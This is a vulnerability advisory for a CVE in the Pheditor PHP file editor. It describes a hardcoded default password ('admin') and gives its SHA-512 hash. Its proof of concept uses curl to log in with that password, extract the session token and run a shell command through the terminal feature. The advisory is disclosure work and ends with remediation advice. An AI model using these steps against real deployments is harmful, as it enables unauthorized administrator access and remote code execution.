PHP CVE-2026-55579

Summary

Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: All versions of Pheditor

The password is hardcoded at pheditor.php:11:

define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

This is the SHA-512 hash of the string admin:

echo -n 'admin' | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec

The application displays a warning banner at pheditor.php:1956-1958 when the default password is in use, but this is only visual - there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.

The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.

Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.

PoC

Environment: Any system running Pheditor with default configuration.

Setup:

git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &

Positive trigger - authenticate with default password:

curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"

Expected: 200 - successful authentication with the default password admin.

Verify full access:

TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

Expected: id output showing web server user - proves full system access through default credentials combined with terminal RCE.

Control (wrong password):

curl -s -X POST http://localhost:8080/pheditor.php \
  -d "pheditor_password=wrongpassword" | grep -o 'not correct'

Expected: not correct - authentication logic works but default password is trivially guessable.

Cleanup:

kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

Use of Hard-coded Credentials (CWE-798). The default password admin is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.

Attacker privileges: Unauthenticated remote attacker (PR:N).

Security boundary crossed: Unauthenticated → fully authenticated administrator.

Confidentiality impact: High - read all files within MAIN_DIR and beyond (via terminal).

Integrity impact: High - write/delete files, upload webshells, modify application code, execute arbitrary commands.

Availability impact: High - delete files and directories, disrupt services.

Suggested remediation:

1. Remove the default password - require user to set a password during installation.
2. Add a setup wizard that forces password creation on first access.
3. Add a forced password change on first login with default credentials.
4. Use password_hash() / password_verify() with PASSWORD_BCRYPT instead of raw SHA-512.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)